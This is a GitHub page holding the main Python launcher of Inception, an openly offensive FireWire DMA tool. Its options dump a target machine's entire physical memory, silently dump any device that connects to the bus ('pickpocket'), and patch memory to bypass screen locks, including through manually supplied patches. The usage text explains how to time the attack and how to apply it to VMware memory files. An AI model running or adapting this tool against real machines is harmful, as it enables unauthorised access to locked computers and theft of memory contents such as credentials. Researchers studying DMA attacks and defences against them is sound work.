forked from carmaa/inception
-
Notifications
You must be signed in to change notification settings - Fork 0
/
incept
executable file
·271 lines (244 loc) · 11.1 KB
/
incept
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
#!/usr/bin/env python3
'''
Inception - a FireWire physical memory manipulation and hacking tool exploiting
IEEE 1394 SBP-2 DMA.
Copyright (C) 2012 Carsten Maartmann-Moe
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Created on Oct 15, 2011
@author: Carsten Maartmann-Moe <carsten@carmaa.com> aka ntropy <n@tropy.org>
'''
from datetime import date
from inception import firewire, screenlock, memdump, pickpocket, cfg, util, term
import getopt
import os
import sys
import traceback
def banner():
'''
Print obligatory awesome ASCII banner
'''
if (term.size() > 79):
print('''
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
''')
else:
print('''
INCEPTION
''')
term.write('v.{0} (C) Carsten Maartmann-Moe {1}'
.format(cfg.version, date.today().strftime("%Y")),
indent = False)
term.write('Download: {0} | Twitter: @breaknenter'.format(cfg.url),
indent = False)
print()
def main(argv):
cfg.encoding = sys.getdefaultencoding()
# Get and set terminal width
cfg.wrapper.width = term.size()
banner()
# Initialize
targets = cfg.targets
# Detect host OS
cfg.os = util.detectos()
# Parse args
try:
opts, args = getopt.getopt(argv[1:], 'bd:Def:hlvw:npum:s',
['businfo', 'dump=', 'dump-all', 'egg',
'file=', 'force-write', 'help', 'list',
'verbose', 'wait=', 'no-write',
'pickpocket', 'unload', 'manual=',
'signatures'])
except getopt.GetoptError as err:
term.warn(err)
usage(argv[0])
sys.exit(2)
for opt, arg in opts:
if opt in ('-h', '--help'):
usage(argv[0])
sys.exit()
elif opt in ('-f', '--file'):
cfg.filemode = True
cfg.filename = str(arg)
elif opt in ('--force-write'):
cfg.forcewrite = True
elif opt in ('-l', '--list'):
term.info('Available targets:')
term.separator()
for n, target in enumerate(targets, 1):
term.info(target['OS'] + ': ' + target['name'], n)
term.separator()
sys.exit()
elif opt in ('-v', '--verbose'):
cfg.verbose = True
elif opt in ('-w', '--wait'):
cfg.fw_delay = int(arg)
elif opt in ('-n', '--no-write'):
cfg.dry_run = True
elif opt in ('-D', '--dump-all'):
cfg.memdump = True
start = cfg.startaddress
end = cfg.memsize
elif opt in ('-d', '--dump'):
cfg.memdump = True
try:
start, size = str(arg).split(',')
# Fix start
if '0x' in start:
start = int(start, 0) & 0xfffff000 # Address
else:
start = int(start) * cfg.PAGESIZE # Page number
# If the start address is below 1 MiB, the user is overriding
# default behavior (avoiding memory below 1 MiB)
if start < cfg.startaddress:
cfg.override = True
term.warn('Overriding default behavior, accessing memory ' +
'below 1 MiB')
# Fix size
size = util.parse_unit(size)
if size < cfg.PAGESIZE:
term.warn('Minimum dump size is a page, {0} KiB'
.format(cfg.PAGESIZE // cfg.KiB))
end = start + size
except:
term.fail('Could not parse argument to {0}'.format(opt))
elif opt in ('-b', '--businfo'):
if os.geteuid() == 0:
fw = firewire.FireWire()
fw.businfo()
sys.exit()
else:
term.fail('You must be root to run Inception with FireWire ' +
'input')
elif opt in ('-p', '--pickpocket'):
cfg.pickpocket = True
elif opt in ('-u', '--unload'):
if cfg.os == cfg.OSX:
util.unload_fw_ip()
else:
term.fail('Host system is not OS X, aborting')
sys.exit()
elif opt in ('-m', '--manual'):
try:
offset, signature, patch = str(arg).split(',')
offset = int(offset, 0)
signature = int(signature, 0)
patch = int(patch, 0)
except ValueError:
term.fail('You must provide a valid offset, signature and ' +
'patch in manual mode')
targets = [{'OS': 'Non-specified OS',
'versions': ['N/A'],
'architectures': ['N/A'],
'name': 'Manual patch',
'notes': 'N/A',
'signatures': [{'offsets': [offset],
'chunks': [{'chunk': signature,
'internaloffset': 0x00,
'patch': patch,
'patchoffset': 0x00}]}]}]
elif opt in ('-s', '--signatures'):
cfg.list_signatures = True
elif opt in ('-e', '--egg'):
term.info('Turn up the volume, please!')
cfg.egg = True
else:
assert False, 'Option not handled: ' + opt
# We don't accept any other arguments
if args:
term.warn('Arguments {0} ignored'.format(', '.join(args)))
if cfg.list_signatures:
screenlock.list_targets(targets, details=True)
sys.exit()
if not cfg.filemode and not os.geteuid() == 0:
term.fail("You must be root to run Inception with FireWire input")
# Here we go
try:
if cfg.memdump:
if cfg.filemode:
# Make sure we don't read past the end of the input file
end = os.stat(cfg.filename).st_size
memdump.dump(start, end)
elif cfg.pickpocket:
if cfg.filemode:
term.fail("Pickpocket mode is not compatible with file mode")
pickpocket.lurk()
else:
address, page = screenlock.attack(targets)
if not address or not page:
term.fail('Could not locate signature(s).')
except Exception as exc:
term.warn('Um, something went wrong: {0}'.format(exc))
term.separator()
traceback.print_exc()
term.separator()
except KeyboardInterrupt:
term.warn('Aborted')
def usage(execname):
print(
'''Inception is a FireWire physical memory manipulation and hacking tool
exploiting IEEE 1394 SBP-2 DMA.
Usage: ''' + os.path.basename(execname) + ''' [OPTIONS]
Options:
-b, --businfo Prints information about the devices that is connected
to the FireWire bus.
-d, --dump=ADDRESS,PAGES
Non-intrusive memory dump. Dumps PAGES of memory
content from ADDRESS page. Memory content is dumped to
files with the file name syntax:
'memdump_START-END.bin'. ADDR can be a page number or
a hexadecimal address within a page. PAGES can be a
number of pages or a size of data using the
denomination KiB, MiB or GiB. Example: -d 0x00ff,5MiB
This command dumps the first 5 MiB of memory after
0x00ff.
-D Same as -d, but dumps all available memory. Note that
due to unreliable behavior on some targets when
accessing data below 1 MiB, this command will start
dumping at the 1 MiB physical address (0x100000). To
override, use the -d switch (e.g., -d 0x00,256MiB).
-f, --file=FILE Use a file instead of FireWire bus data as input; for
example to facilitate attacks on VMware machine memory
files (.vmem) and to ease testing and signature
creation efforts.
--force-write Forces patching when using files as input (see -f). By
default, Inception does not write back to data files.
-h, --help: Displays this message.
-l, --list: Lists configured operating system targets.
-m, --manual=OFFSET,SIGNATURE,PATCH
Specify a patch manually. Enables easy testing of new
signatures; to use provide a comma-separated list of
an offset, a signature and a patch as integers or
in a hexadecimal format (prepended by '0x').
-n, --no-write Dry run, do not write back to memory.
-p, --pickpocket Dump the physical memory of any device that connects
to the FireWire bus. This may be useful when
exploiting a Daisy chain.
-s, --signatures Parses and prints the signatures from cfg.py. May
be used together with -m/--manual.
-u, --unload OS X only: Unloads IOFireWireIP.kext (OS X IP over
FireWire module) which are known to cause kernel
panics when the host (attacking system) is OS X. Must
be executed BEFORE any FireWire devices are connected
to the host.
-v, --verbose Verbose mode - among other things, this prints read
data to stdout, useful for debugging.
-w, --wait=TIME Delay attack by TIME seconds. This is useful in order
to guarantee that the target machine has successfully
granted the host DMA before attacking. If the
attack fails, try to increase this value. Default
delay is 15 seconds.''')
if __name__ == '__main__':
main(sys.argv)